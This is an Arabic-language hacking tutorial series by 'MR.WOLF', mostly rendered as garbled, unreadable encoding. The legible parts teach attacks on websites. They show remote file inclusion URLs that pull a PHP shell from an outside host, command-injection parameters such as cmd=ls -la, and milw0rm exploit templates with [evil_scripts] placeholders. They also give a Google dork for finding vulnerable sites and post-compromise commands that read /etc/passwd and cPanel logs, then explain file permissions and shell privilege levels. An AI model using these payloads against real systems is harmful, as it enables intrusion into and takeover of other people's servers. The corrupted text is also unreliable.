,87PQ ‫ي‬1‫ ا‬K=!‫! ا‬3‫ أ‬S‫! إ‬r8+ xxxx
unzip :!3;‫ا‬
winzip r"‫¯ ا‬3$! 6oT‫ا‬% 6Q%r"(‫ات ا‬/*A(‫ ا(*]ت وا‬rd >= :,8]‫و‬
unzip wolf.zip <UL‫ا ا‬1b !3;‫ن ا‬%UB wolf.zip TN *3 rd >] ‫م‬%7+ ‫ إذا أردات أن‬:‫ل‬I3
!3‫ ا;وا‬01‫!ح ه‬o #]8U$
#‫]\ ا(ر ا‬$ #= 1]J+ b$; 6*&‫ا‬/‫! ا‬3‫ ;وا‬b8(+ Ko8+ 67‫! ا‬3‫ ا;وا‬K( 63%*(*
,*&‫ا‬/ $‫ا‬
6‫ر‬E‫! ا‬3‫ ا;وا‬O ‫!ح‬QNT‫و‬
‫ت‬3%*(‫ ا‬K(A $/]+ 6J3 ‫اف‬/‫ن ;ه‬%U+ 6‫ر‬E‫! ا‬3‫*@ ا;وا‬°‫وا‬
cat/etc/passwd :!3;‫ا‬
K‫ا‬%(‫زرات ا‬%B K( ‫ر‬b‫ إ‬:,8]‫و‬
ls/var/named :!3;‫ا‬
K‫ا‬%(‫ر ا‬b‫ إ‬:,8]‫و‬
ls -la/etc/valiases :!3;‫ا‬
b+‫زرا‬%B+K‫ا‬%(‫ر ا‬b‫ إ‬:,8]‫و‬
cat/var/cpanel/accountinglog :!3;‫ا‬
b+‫زرا‬%B+K‫ا‬%(‫ ا‬K( ‫ر‬b‫ إ‬:,8]‫و‬
"*find / -type f -name "wolf :!3;‫ا‬

,J? ªP+ #‫ ا‬T; wolf ‫ل‬/P8T‫ ا‬7= !=!‫ء ا‬$‫ ا‬K( #= <3: ª !3‫ أ‬:,8]‫و‬
6=L8‫> اآ‬JU(B /B(‫ ا‬/%B‫! و‬3‫) ا;وا‬3 6?%(A(‫ي ا‬1b #]8U$
bJ? ªP‫! وا‬3‫ ا;وا‬Po+ #= B!(8T‫اذا ا‬
U*? <bB ‫ء ا‬: ‫ و ان‬%B/] 6*&‫ا‬/‫! ا‬3‫وا‬² #*(? Po+ ‫!ح‬L‫ ا‬S‫ ا‬d‫ا‬
((‫ب‬8U‫ت ا‬7=!3 K3 0/A+ ))
(‫رس‬/‫ى ا‬%83) #= ‫]ر‬8T‫اي ا‬
#$I‫رس ا‬/‫ ا‬Sb8$‫ا‬
(( U?‫ د‬cX )3 $%J+ ))
6%]3 ‫ق‬%7‫ ا‬K(
MR.WOLF
12:54 ,‫!ي‬A‫ه‬1427 ‫ال‬%: 30 ¡B‫ر‬8‫ا‬

# ªI‫رس ا‬/‫ ا‬#

\UJ‫! ا‬3‫ و?) أوا‬K‫ا‬%(‫!اق ا‬8&‫]ه أ‬3 )? 67‫روس ا‬/‫ ا‬#= J/+
:ªI‫ ا‬JT‫ن در‬%UT‫و‬
(#‫ا‬%L‫!اق ا‬8&;‫< )ا‬L‫ ا‬K=‫ ور‬0/B/A‫!ات ا‬rI‫ ?) ا‬ªP‫ا‬
!3‫ ا;وا‬Po+ C&;‫) و‬7‫) ا‬T‫ر‬/‫ ا‬#= 0J(*+3 Po8 /A‫ ا‬#= <&/$ ‫ا‬1‫ ه‬JT‫ در‬6B‫ا‬/
‫ت‬%(B!‫!ات ا‬r B!Q )? K%3 S*? 6?‫ر‬+ / <L‫ وا‬.. <: ‫ج‬8+ b8(*+ #‫! ا‬3‫ ا;وا‬Po8
#‫وه‬
Remote File Include

commands execution
ً‫ا‬/ ‫ــ!ة‬o‫!ات &ــ‬rI‫) ا‬3 6?%J‫ي ا‬1‫وه‬

<3‫< آ‬UL K%(‫ ا‬S*? !o+ )U(3‫ ا!=! و‬S*? !3‫ اوا‬1]J+ b$‫@ ا‬P‫وا‬
0‫ر‬%o& <‫!ات ا‬rI‫ ا‬#‫ و‬,?%J‫ى ه‬%8( )U K‫ا‬%(* ‫!ات ا&!ى‬r /%B ًPQ
>]J 6!A+ #*(? Po+ K3 )+!rI‫ ا‬6?%$ <(? ,7B!Q cd%$
((Remote File Include))
‫ر ا;ن‬L8$‫!ات ا‬rI‫! ا‬I‫ اآ‬#‫ وه‬K%(‫ ا‬K3 <L‫ ر ا‬#‫!ات ه‬rI‫ي ا‬1‫ ?(< ه‬,7B!Q
‫!ة‬rI‫(ر ا‬I8T‫< ا‬U: S*? ‫ل‬I3
http://www.google.com/index.php?wolf=www.tryag.com/shell.txt?
-| S*?; ‫ي‬1‫!ح ا!ا ا‬L$ |-
/http://www.google.com :6"‫ ا‬K%3

=index.php?wolf :‫!ة‬rI ‫ب‬D(‫ا(* ا‬
‫؟‬www.tryag.com/shell.txt :<L‫* ا‬3
.. <L‫ف ?!ض > ا‬%L+ ‫ راح‬b ‫ب‬D3 K%(‫ وا‬0‫د‬%%3 ‫!ة‬rI‫ اذا ا‬1]J8‫ ا‬/‫و‬
!3‫ ا;وا‬1]J+ ‫ و‬#AB J‫وه‬
" = " 63? / <L‫ف ان را ا‬%L+3 <I3‫و‬
" ? " ‫م‬b]8T‫ ا‬63? K"+ <L‫ را ا‬/‫ و‬#D$ *3 #JB txt. ‫اد‬/83N <L‫ن ا‬%UB ‫ ان‬/ ً"B‫ا‬
[Po8* ‫!ة‬r]
Remote File Include
(r-f-i) TN ‫ت‬7=!(‫ ا‬#= %B/] KB!T ‫!ح‬: /%B
(‫ب‬8U‫ت ا‬7=!3 K3 0/A+)
6$I‫ ا‬6?%J‫ ا‬3‫ا‬

((Remote commands execution))
<L‫ را ا‬+3 ‫ون‬/ ‫ل‬%Q S*? !3‫ ا;وا‬1]J+ #‫!ات ه‬rI‫) ا‬3 6?%J‫ي ا‬1‫ ?(< ه‬67B!Q
‫!ة‬rI‫(ر ا‬I8T‫< ا‬U: S*? ‫ل‬I3
www.google.com/index.php?cmd=ls -la
-| S*?; ‫ي‬1‫!ح ا!ا ا‬L$ |-
/http://www.google.com :6"‫ ا‬K%3

=index.php?cmd :‫!ة‬rI ‫ب‬D(‫ا(* ا‬
ls –la :\UJ‫! ا‬3‫ اوا‬/j‫ا‬
1]J(‫! ا‬3;‫ ا‬,A8$ c]D8(‫ ا‬#= > ‫!ض‬B ,=%L+ ‫دة =ً راح‬%%3 ‫!ة‬rI‫ اذا ا‬1]J8‫ ا‬/‫و‬
!° <UL‫ و‬c]D8(‫ ا‬#= cB‫ر‬D8‫ات وا‬/*A(‫!ض > ا(*]ت وا‬B ‫ راح‬ls -la !3‫ً ا‬I3 ‫ت‬1]$ %‫و‬
‫ات‬/*A(‫ ) ا(*]ت وا‬,!]8‫@ ا‬DB @+!3
.. ‫ر‬%*P‫ ا;آ‬c]D83 #= ًI3 @+!3 <UL bd!‫و‬

"‫ر‬/D(‫ "ا‬6(7‫) ا‬3 ‫ر‬8E+ "‫ "?!ض‬S*? r"+ S*?;‫) ا‬3
@+!3 <UL ‫ن‬%U‫ و‬#D$ *3 #= !3;‫ ا‬,A8$ > ‫!ض‬B ‫وراح‬
[Po8* ‫!ة‬r]
http://www.prodigy1.net/backup2/wolf2.php?tryag=id
!3‫@ ا;وا‬8U$ J*3 <I3 id ‫ن‬U3 ًPQ

(r-c-e) TN ‫ت‬7=!(‫ ا‬#= %B/] KB!T ‫!ح‬: /%B
(‫ب‬8U‫ت ا‬7=!3 K3 0/A+)
‫ت‬%(B!‫!ات ا‬r <(? ,7B!Q J=!?3 /

milw0rm K%3 ‫ام‬/E8TN ‫ة‬/B/A‫!ات ا‬rI‫د ا‬AB‫ ا‬6]‫ آ‬S‫< ا‬78J$
/http://www.milw0rm.com K%(‫را ا‬
K‫ا‬%(‫!ات ا‬r ‫ث‬/j‫ ا‬K8$ ‫ راح‬K%(‫ا ا‬1‫) ه‬3

K‫ا‬%(‫!ات ا‬r ‫د‬AB‫ إ‬6]‫ آ‬6=!( 0‫ر‬%D‫ ا‬/‫ه‬: K%(‫ ا‬S‫ل ا‬%&/‫ ا‬/
milw0rm K%3 )3 "Remote File Include" ‫د‬%*U$‫< ا‬B= ‫!ة‬r S*? ‫ل‬I3
Exhibit Engine <= 1.22 (styles.php) Remote File Include Vulnerability
-| ‫ان‬%J‫< ا‬D]+ |-
Exhibit Engin :!U‫ ا‬T‫ا‬

1.22 :!U‫ار ا‬/X‫ا‬
styles.php :‫!ة‬rI ‫ب‬D(‫ا(* ا‬
Remote File Include :‫!ة‬rI‫ع ا‬%$
‫!ة‬rI‫د ا‬%‫ آ‬b= 6$ 6]X > c8]+ ‫ وراح‬b$‫ا‬%J? S*? r"+ ‫!ة‬rI* ‫(ر‬I8T;‫ة ا‬/‫ه‬L( ًPQ
"‫!ة‬rI‫(ر ا‬I8T‫ "ا‬%‫ ه‬J(bB #‫ا¡ وا‬... L8U(‫ ا‬T‫وأ‬
‫ ا&!ى‬S‫!ة ا‬r )3 *8E+‫ و‬6o ‫*ت‬oD3 6]D‫ا&< ا‬/ /%B‫و‬

‫ء ا‬: ‫< ان‬D]8 bd%8 ‫م‬%7JT‫و‬
‫!ة‬rI‫(ر ا‬I8T‫ ا‬S*? ‫ل‬/+ #8‫*ت ا‬oD(‫ا‬

Example:
Expl:
Exploit:
Exploits:
‫!ة‬rI* ‫(ر‬I8T;‫< ا‬U: bP$A ‫ او‬b*]T‫ ا‬/A+‫(ر و‬I8T;‫ ا‬#J+ ‫*ت‬oD(‫ي ا‬1‫ ه‬K(‫و‬
:‫*ت‬oD(‫ ا‬/j‫ ا‬S*? ‫ل‬I3
http://www.milw0rm.com/exploits/2850
<]T; /%B
Expl:
http://www.site.com/[ee_path]/styles.php?toroot=[evil_scripts[
:%‫!ة ه‬rI* ‫(ر‬I8T;‫ ان ا‬b]$ ‫ل‬%Q S*? ً‫اذا‬
,= J7 #‫ ا‬K%(‫ ا‬S‫ ا‬0!r$ K%(‫ ا‬T‫< ا‬I3 ‫ء‬:;‫ ا‬O ,*? ‫ل‬/$ / ‫(ر‬I8T;‫ً ا‬PQ‫و‬
<L‫! ورا ا‬U‫ ا‬/*A3 T‫"ً ا‬B‫!ة وا‬rI‫ا‬
S‫ ا‬b(‫(ر وراح أ‬I8T;‫ل ا‬/$ ‫!ف آ‬$ ‫ن‬L? b=!$ /‫ و‬,]$ ‫(ر‬I8T² ‫*ت‬oD3 /%B‫و‬
:‫?ت‬%(A3
S‫ ا;و‬6?%(A(‫ا‬
http://www.site.com/
[target]
[site]
[namesite]
[url]
- 6"‫ ا‬K%3 ‫ان‬%J? S*? ‫ل‬/+ b( -

:K%(‫ان ا‬%J? ‫*ت‬oD3 /j‫ أ‬S*? ‫ل‬I3
Example: http://[site]/modules/NukeAI/util.php?AIbasedir=[php shell[

,"‫ ا‬K%3 ‫ان‬%J? S*? ‫ل‬/+ b$‫ ا‬$!‫ذآ‬3 <I3‫[ و‬site] %‫(ر ه‬I8T;‫ ا‬#= ‫ب‬%8U(‫ ا‬c*oD(‫ا‬
<UL‫ا ا‬1b ‫(ر‬I8T;‫ ا‬S*? <B/8‫ن ا‬%UB ‫ راح‬www.tryag.com %‫ف ه‬/b8(‫ ا‬K%(‫]!ض ان ا‬$
http://www.tryag.com/modules/NukeAI/util.php?AIbasedir=[php shell[
6$I‫ ا‬6?%(A(‫ا‬
/[scripts]/
/[path]/
/[dir]/
/[folder]/
‫ن‬%UB ‫!ط‬: \ /[path_wolf]/ c*oD(‫< ا‬U: ‫ن‬%UB ًI3 ‫!ات‬r8‫ ا‬O ‫ث‬/+ )U(3 ًPQ
!‫ ( ذآ‬o3
– ‫!ة‬rI ‫ب‬D(‫! ا‬U‫ ا‬/*A3 T‫ ا‬S*? ‫ل‬/+ b( -
:‫ب‬D(‫! ا‬U‫ ا‬/*A3 T‫*ت أ‬oD3 /j‫ أ‬S*? ‫ل‬I3

http://[target]/[path]/includes/profile.php?GlobalSettings[templatesDirectory]=evill
!U‫ ا‬/*A3 T‫*ت ا‬oD3 )(d )3 c*oD(‫ا ا‬1‫[ وه‬path] ‫(ر‬I8T;‫ ا‬#= %‫ آ( ه‬c*oD(‫ا‬
‫!ة‬rI ‫ب‬D(‫ا‬
www.tryag.com %‫ف ه‬/b8(‫ ا‬K%(‫ان ا‬%J?‫ و‬wolf %‫ب ه‬D(‫! ا‬U‫ ا‬/*A3 T‫!ض ان ا‬8]$
:<B/8‫ ا‬/ ‫(ر‬I8T;‫< ا‬U: ‫ن‬%UB
http://www.tryag.com/wolf/includes/profile.php?GlobalSettings[templatesDirectory]=evill
/*A3 ,+J3 ‫ ا!ا‬#= "/ /" ‫) اش‬83? ) ‫ن‬%UB ‫ي‬1‫ ا‬T;‫) ا(!وف ان ا‬3‫و‬
6II‫ ا‬6?%(A(‫ا‬
[SHELLURL]
[evil]
[shell]
[yourevil]
[evil_scripts]
[cmd]
[php shell]
- <L‫ را ا‬S*? ‫ل‬/+ b( -

‫(ر‬I8T;‫ أ&! ا‬#= ‫*ت‬oD(‫ ا‬01‫ ه‬/A+ ً(‫دا‬
:<L‫*ت را ا‬oD3 /j‫ أ‬S*? ‫ل‬I3
alkaser ‫ب‬D(‫! ا‬U‫ ا‬/*A3 T‫ وا‬www.tryag.com %‫ف ه‬/b8(‫ ا‬K%(‫ان ا‬%J? ‫!ض أن‬8]$
<L‫ان ا‬%J?‫و‬
http://www.google.com/wolf.txt?
:<B/8‫ ا‬/ ‫(ر‬I8T;‫< ا‬U: ‫ن‬%UB
http://www.tryag.com/alkaser/styles.php?toroot=http://www.google.com/wolf.txt?
‫!اض‬8T² ‫ ه‬%‫< وه‬3‫< آ‬UL ,*? ‫ل‬/? ‫(ر‬I8T;‫ا;ن ا‬
c(B <(+ ‫!آ‬3 ‫ او‬6j3 ‫ اي‬S*? ,=! ‫م‬%7+ $‫ وا‬txt ‫اد‬/83N ‫ن‬%UB $!‫ذآ‬3 <I3 <L‫ً ا‬PQ
‫< دا‬UL ‫(رات‬I8T;‫ ا‬#= 63/E8+ txt ‫اد‬/83;
:‫د‬%*U$‫< ا‬B= ‫!ات‬r ‫(رات‬I8T‫ ا‬K( K3 ,*= ‫ب‬%*o(‫ا‬

‫ف‬/b8(‫ ا‬K%(‫ان ا‬%J? -1
‫ب‬D(‫! ا‬U‫ ا‬/*A3 T‫ ا‬-2
txt ‫اد‬/83N <L‫ را ا‬-3
> ‫ ان ?!ض‬.. c]D8(‫ ا‬#= ,d!8+ ‫(ر‬I8T;‫ ا‬S*? <B/8 ‫م‬%7+ ‫ء‬:‫ث ا‬I‫ي ا‬1‫=! ه‬%+ /
,+J3 <L‫!ض > ا‬B ‫ وان‬.. !3‫ ا;وا‬1]J+ >J3 ‫ب‬%*o(‫ب وا‬D3 !U‫ ا‬,+J3 <L‫ا‬
#P+ 0!U #A+ ‫م‬%‫< ا‬L‫!ض > ا‬B )U(3 ً"B‫ ا‬.. ‫ب‬D3 !° %‫ وه‬0!rI‫) ا‬3 ,!+ + !U‫ا‬
‫\ آن‬3;‫ ا‬#= ,$‫ ا‬K3 .. <L‫?!ض > ا‬3 07*+‫!ض ا!ا و‬8+ !3‫ آ ا‬1]J+ ‫ او‬#: ‫ي‬%+
‫ ا‬J3‫ آ‬K( ًPQ ,= #‫ ا‬0!rI‫ ا‬K!+ + !U‫!ف ان ا‬+ ‫ل‬%Q S*? .. <L‫ل ا‬r:
<UL‫ و‬0!L8J3 b$‫ع ا‬%d%(‫ول ا‬N ‫ذآ!ت‬3 <I3 ‫ ;ن‬Remote File Include ‫!ات‬r %‫ ه‬, ‫د‬%D7(‫ا‬
.. ً‫ا‬/ ,** Remote commands execution ‫!ات‬r 3‫! أ‬P‫آ‬
‫< او اي‬% #= ,J? ªP‫! ا‬U‫ ا‬T‫¡ ا‬J ‫ن‬%U+ ‫ب‬D(‫! ا‬U‫ ?) ا‬ªP‫ ا‬67B!Q‫و‬
!&‫ أ‬ª ‫!ك‬3
‫!ة‬rI‫ي ا‬1‫ ?) ه‬ªP$ #P$ J$‫!ض ا‬8]$
Messagerie Locale (centre.php) Remote File Inclusion Vulnerability
Messagerie %‫! وه‬U‫ ا‬T‫¡ ا‬J ‫م‬%7$
<% ªP‫!ك ا‬3 #= ,7D‫و‬
ªP‫!ك ا‬3 > b*Q #‫¯ ا‬B8J‫ ا‬#= 6!A8‫(ر وا‬I8T;‫ ا‬bA8 ‫م‬%7+
‫!ة‬rI‫ ?) ا‬ªP‫ ا‬67B!Q J !=%3 ‫!ات‬rI‫ ا‬O /%B ً"B‫ا‬
(( Dork )) c*oD(‫ا ا‬1‫م ه‬3‫ن ا‬%U+ @r‫ ا‬#=‫و‬
:c*oD(‫ ا‬S*? ‫ل‬I3
http://www.milw0rm.com/exploits/2832
‫ب‬D(‫! ا‬U‫ ا‬KP+ ªP‫ ا‬6(*‫ وآ‬c*oD(‫ا ا‬1‫وه‬

Dork : inurl:indexmess.php
inurl:indexmess.php ¡J+ >*? #‫آ< ا‬
ªP ‫م‬%7+ <% ªP‫!ك ا‬3 #= ,7D*+‫و‬

b]$ #‫!ة ه‬rI‫ي ا‬1‫ ه‬63%*(*‫و‬
Messagerie Locale (centre.php) Remote File Inclusion Vulnerability
inurl:indexmess.php :‫ه‬A‫ ا‬ªP‫ ا‬T‫ او ا‬Messagerie :!U‫ ا‬T‫ ?) ا‬ªP‫> ا‬$U3N
milw0rm K%3 c8= 6B‫ا‬/ )3 %B/] #*(? Po+ /‫ه‬: ,*D](‫]ت ا‬B!8‫ ا‬/
<L‫!اض ا‬8T‫ ا‬S‫ا‬
Remote TN ‫ت‬7=!(‫ ا‬#= Po8‫ا‬
‫ت‬7=!(‫ ا‬#= php. ‫اد‬/83‫ و أ‬txt. ‫اد‬/83N ‫ت‬: /%B ً"B‫ا‬
(‫ب‬8U‫ت ا‬7=!3 K3 0/A+)
‫رس‬/‫ا ا‬1‫ ه‬#= !I‫ك أآ‬/]+ ‫روا‬
::[ videos ]::

http://www.tryag.com/cc/forumdisplay.php?f=72
::‫ق‬B!+ ‫ى‬/8J3 ‫!ات أ?"ء‬r::

::‫!ات‬rI‫ ا‬6P8U3::
#8‫ ا!ا ا‬K‫رس( را‬/‫ى ا‬%83) #= ‫]ر‬8T‫اي ا‬
ªI‫رس ا‬/‫ ا‬Sb8$‫ا‬
(( U?‫ د‬cX )3 $%J+ ))
6%]3 ‫ق‬%7‫ ا‬K(
MR.WOLF
10:33 ,‫!ي‬A‫ه‬1427 ‫ة‬/7‫ ذو ا‬13 ¡B‫ر‬8‫ا‬

# R‫ ا&رس اا‬#

|| C&‫!ا‬8‫ او ا‬cB‫ر‬D8‫|| ا‬
<L‫ ا‬K=‫ ر‬/3 ‫روس‬/ ‫أ‬/P$ ‫رس‬/‫ا ا‬1‫) ه‬3‫و‬
/j‫ه وا‬J3 <X;‫ ا‬#=‫* و‬8E+ b$‫ ا‬/78B‫" و‬C&‫!ا‬+ - cB‫ر‬D+" )8(*U‫ي ا‬1‫ ه‬K(B JJ3 !I‫آ‬
. Permissions ‫*ي‬A$; b*? *oB‫ و‬/*A(‫ ا(* او ا‬CDE *8+ #‫وه‬
‫"؟‬Permissions" cB‫ر‬D8‫ ا‬#‫ه‬3

.b8B( ,+]*3 S*? !=!‫ او ا‬K%(‫> ا‬3 b"B #8‫ات ا‬/*A(‫ ا(*]ت و ا‬CD& /j‫ ا‬#‫ه‬
‫؟‬cB‫ر‬D8‫ ا‬01‫(< ه‬+ ‫آ‬

Ko8B ‫ ا(*]ت‬01b !&‫م ا‬/E83 ‫ل اي‬%X‫ و‬/J? ª ,+]*3 S*? cB‫ر‬D8‫ ا(> ا‬K"B
:#8‫ ا‬%J‫ ا‬S*? ‫ن‬%U+ cB‫ر‬D8‫@ ا‬r‫ ا‬#= <3‫< آ‬UL bJ3 0‫]د‬8T;‫ا‬
.<B/+ ‫ دون أي‬7= *(‫ى ا‬%83 ‫) !اءة‬3 >JU(+ cB‫ر‬D+ -1

- ‫ف‬1j - <7$ - ¡$ - ,(8‫! ا‬r+ - <B/+] )3 *(‫ ا‬S*? /B!+ 3 <= >JU(B cB!D+ -2
.[<rL+
‫ ا(*]ت‬S*? ‫ن‬%U+ cB‫ر‬D8‫ي ا‬1‫@ ه‬r‫ ا‬#=‫ و‬2 ‫ و‬1 ‫ ر‬#= !‫ذآ‬3 <‫) =< آ‬3 >J(+ cB‫ر‬D+ -3
.ً‫ا‬/ ,(b(‫ا‬
‫؟‬cB!D8‫< ا‬U: %‫ه‬3

!r8B )3 3‫ ر‬cB!D+ <U /%B‫ت و‬$& ‫) ث‬3 ‫ ر‬%‫ه‬
:‫ل‬I3
777 :cB‫ر‬D8‫ ا‬/j‫ا ا‬1‫ه‬
rwxrwxrwx- :‫ ا(*]ت‬S*? 03‫ر‬
drwxrwxrwx :‫ات‬/*A(‫ ا‬S*? 03‫ر‬
| <L‫ ا‬#= 777 cB!D8* ‫رة‬%X |
‫ ا(*؟‬cB!D+ 6=!3 )3 ‫ة‬/]‫ ا‬#‫ه‬3

6B(j #= !P‫ور آ‬/ ‫م‬%7+ cB‫ر‬D8‫ ;ن ا‬K%(‫ ا‬#= ,*= /B!+3 /B/+ Ko8+ cB‫ر‬D8‫ ا‬6=!3 /J?
(777) cB!D8‫ ا‬%‫! وه‬IU‫) =< ا‬3 >JU(B ‫ي‬1‫ ا‬cB!D8‫ ا‬6=!3 >*? @AB‫ و‬K%(‫ا‬
)3 >JU(B /*A3 ‫* او‬3 S*? cB!D8‫ا ا‬1‫د ه‬%‫ و‬/J?‫ و‬2 ‫ ر‬#= ‫د‬%D7(‫ ا‬%‫ ه‬cB!D8‫ا ا‬1‫;ن ه‬
.¡‫ا‬...‫¡ و‬J‫< و ا‬B/8‫ا‬
‫(؟‬/*A3) S*? 0‫د‬%‫ و‬/J? 777 cB!D8‫) ا‬3 /]8T‫آ ا‬

<&‫ا‬/ #8‫< آ< ا(*]ت ا‬B/+ Ko8+‫ و‬/*A(‫ا ا‬1‫ا&< ه‬/ !&‫< ا‬: K=‫< ر‬I3 ‫*]ت‬3 K=‫ ر‬Ko8+
!IU‫ وا‬... /*A(‫ا ا‬1‫ا&< ه‬/ ,d‫* أ&! وو‬3 ‫¡ اي‬$ Ko8+ ً"B‫ ا‬.. /*A(‫ا ا‬1‫ه‬
‫*(؟‬3) S*? 0‫د‬%‫ و‬/J? 777 cB!D8‫) ا‬3 /]8T‫آ ا‬

... <: ‫د اي‬%U ًI3 *(‫ى ا‬%83 <B/P+ Ko8+
‫ ؟‬cB‫ر‬D8‫ه< ا‬A8$ S83

‫ء ا‬: ‫ت إن‬jD‫< ?) ا‬3‫ درس آ‬CDEB ‫ف‬%T‫ و‬.. ‫زر‬%B !=!‫ ا‬S*? ( J+jX ) $‫اذا آ‬
:%‫ ه‬,7‫روس ا‬/‫ ا‬#= 0$!‫ آ( ذآ‬cB‫ر‬D8‫! ا‬r+ !3‫ا‬

chmod 777 file.php
!3;‫< ا‬D]+
cB!D8‫! ا‬r8 #‫ وه‬,8 =chmod
/B!+ ‫ي‬1‫ ا‬cB!D8 b/P8+ ًPQ‫> و‬8j @j S*? !r8+ =777
,B!D+ !r+ ‫ ا(!اد‬/*A(‫ ا(* أو ا‬TN b/P8+ =file.php
-|‫رس‬/‫ ا‬6X&|-
‫ء ا‬: ‫! ان‬I‫ك آ‬/]B ‫ راح‬,$; K%3 ‫!اق اي‬8&‫ ا‬/J? 777 cB!D8‫ ا‬S*? ‫!آ‬8‫ ا‬%‫ه‬
!‫آ‬18 #‫< ا‬X]8‫ ا‬b]+ ‫اً أن‬/ b3 \)) cB‫ر‬D8‫ ا‬#= !I‫( أآ‬+‫ت راح ا‬3%*(‫) ا‬3 /B(*
‫ت‬3%*(‫دة ا‬B‫ وز‬7= ‫ة‬/]* )‫ا;ن(( آ‬
#P+ $‫ وا‬rwxrwxrwx- S‫ إ‬3!B ,$‫ ا‬$!‫* وذآ‬3 S*? ( 777 ) cB!D8‫ا ا‬1‫] ه‬: >$‫!ض ا‬8]$
<UL‫ا ا‬1b 3!‫ن ا‬%*: ‫!ف‬+
-[ 3!‫< ا‬D]$ ]-
d ‫ا !ف‬/P+ ‫ات‬/*A(‫ وا‬,Q!: ‫ا ـ‬/P+ ‫ ان ا(*]ت‬,7‫روس ا‬/‫ ا‬#= $!‫ >> آ( ذآ‬-
777 #JB rwx rwx rwx 3!‫ آ ?!= ان ا‬cd‫راح او‬
:#J+ r w x ‫< ا!وف‬X;‫ ا‬#=
r=4
w=2
x=1
777 cPX‫!ات ا‬3 ‫ ث‬0‫!ر‬U3 rwx ‫ و;ن‬7 =1+2+4 J( %‫و‬
‫ن ا! ؟‬%U ‫* وش‬3 S*? rwxr-xr-x cB!D8‫ا ا‬1‫ ه‬J]: % @Q
[ rwx r-x r-x ] ,*D]$
@JB3 !]X #JB 0 ‫وي‬B (-) 63? 3!‫ ا‬#= /‫"ً اذا و‬B‫ا‬
!‫< ا‬U: ‫ن‬%U ‫ف وش‬%L$
rwx = 4+2+1=7
r-x = 4+0+1=5
r-x = 4+0+1=5
‫!ف ا;رم‬+ 67B!o‫ي ا‬1b‫ و‬755 K*Q cB!D8‫ن ر ا‬%=%L+3 <I3
‫!ات‬3 ‫!ر ا! ث‬U8B Á ‫ل‬%7B OP‫@ ا‬Q
(rwx rwx rwx) <I3 ‫ ث ام‬S‫ ا‬3!‫ ا ا‬$‫ ا‬Á‫و‬
rwx rwx rwx

123
*(‫> ا‬3 cB!D+ =1
*(‫> ا‬3 6?%(A3 cB!D+ =2
)B!&;‫) ا‬3/E8(‫ ا‬cB!D+ =3
)3/E83 6?%(A3 ‫م أو‬/E83 CEB <‫ ث ام وآ‬S‫ ا‬73 cB!D8‫اي ان ا‬
‫ ؟‬x ‫ و‬w ‫ و‬r ‫ ا!وف‬SJ33 @Q

‫= !اءة‬r
68‫= آ‬w
1]J+ =x
1]J+ ‫ و‬68‫) !اءة و آ‬3 <3U‫ ا‬U8‫ ا‬b K(A‫ ا‬#J+ rwxrwxrwx /‫ه‬L$ 3/J? ‫اي‬
rwxr-xr-x /‫ه‬L$ 3/J?‫و‬

"rwx " <3U‫ ا‬U8‫ ا‬, *(‫> ا‬3 ‫ ان‬#J+
"r-x" 7= 1]J8‫!اءة وا‬7‫ ا‬Ko8+ >(‫ ا‬6?%(A3‫و‬
"r-x" 7= 1]J8‫!اءة وا‬7‫ن ا‬%o8B )B!&;‫وا‬
K‫رس ا!ا‬/‫ ا‬Sb8$‫ ا‬J‫ ه‬S‫إ‬
‫ا ا!ا‬1‫ ه‬S*? rd‫]ر ا‬8T‫;ي ا‬
(( U?‫ د‬cX )3 $%J+ ))
6%]3 ‫ق‬%7‫ ا‬K(
MR.WOLF
2:45 ,‫!ي‬A‫ه‬1427 ‫ة‬/7‫ ذو ا‬25 ¡B‫ر‬8‫ا‬

‫‪ #‬ا&رس ا‪# s‬‬

‫در‪ JT‬ا‪%UT \3E‬ن ?)‪:‬‬
‫|| اـ‪D‬ـ‪j‬ــت ||‬
‫ا‪jD‬ت ه‪ 6j #‬ا(‪!8E‬ق ‪ /‬ر=‪ K‬ا‪ S*? <L‬أ‪ /j‬ا(‪%‬ا‪ K‬وه‪ 6B(j CE+ #‬ا!=! و‪/‬ر‪>+‬‬
‫?*‪ S‬ا‪ U8‬وا‪ #= 1]J8‬ا‪ <L‬و=‪ #‬ا‪%U+ @r‬ن إ‪/j‬ى ه‪ 01‬ا‪jD‬ت إ‪/%$) 3‬ي( أو )‪%B‬زر( أو‬
‫)ا‪.(#L+‬‬
‫‪/=3‬ة ‪ 6=!3‬ا‪jD‬ت ؟‬
‫‪ S*? >8jX 6=!3 /‬ا!=! ‪ ,*= /B!+3 /B/+ Ko8+‬وا‪ 6]U oE8‬ا‪%X%‬ل إ‪ S‬ا‪/b‬ف‬
‫;ن ‪ ,jX )3‬إ‪ /%B ,jX S‬ا&‪=8‬ت ‪ ..‬و‪%? /%B‬ا ‪%+‬ا‪ #= >b‬ا;&‪!8‬اق‪.‬‬
‫‪ )3‬ا‪1‬ي ‪1b U8B‬ي ا‪jD‬ت ؟‬

‫‪ !B/3‬ا!=! وا‪1‬ي ‪ S(B‬ـ )‪ / !=!T /A+ /7= .. (root‬زرع ا‪ <L‬أن ‪ nobody >8jX‬و‪/‬‬
‫‪ !=!T /A+‬أ&! ‪ !° ,= >8jX‬ذا> ‪ ..‬أي أن ا‪jD‬ت ‪ !=!T )3 *8E+‬إ‪S*? !=!T S‬‬
‫‪ ,8B(j @j‬و?*‪/B3 @j S‬د‪ !B/3 0‬ا!=!‪.‬‬
‫آ ‪!+‬ف ‪ S*? >8jX‬ا!=! ؟‬

‫‪ )3 Ko8+‬ا‪!:P3 <L‬ة وه‪1‬ي ‪%X‬ر‪U3 cd%+ 0‬ن ‪%+‬ا‪ /‬ا‪jD‬ت وه‪/%$) #‬ي(‬
‫أو ‪%7+‬م ‪ 1]J8‬أ‪ #= "id" !3‬ا‪bÂ <L‬ر ا‪jD‬ت ‪ 3 <I3‬ذآ!‪ #= $‬ا‪/‬روس ا‪67‬‬
‫ذآ!ت ث أ‪%$‬اع ‪ )3‬ا‪jD‬ت وراح ‪ )? *U8$‬آ< ‪%$‬ع ‪ <D]8‬ان ‪:‬ء ا‬
‫‪/%$ -1‬ي )‪(nobody‬‬

‫=‪ #‬ا‪ )3 !IU‬ا!=!ات ‪ /A+‬ه‪1‬ي ا‪ 6jD‬و‪ )3‬رأ‪ #B‬ه‪ #‬أ="< ا‪jD‬ت ‪ K(A‬أآ‪/ !P‬ر ‪)3‬‬
‫ا(*‪3%‬ت =‪ #‬ا!=! ‪..‬‬
‫‪(3::‬ا‪::b+‬‬
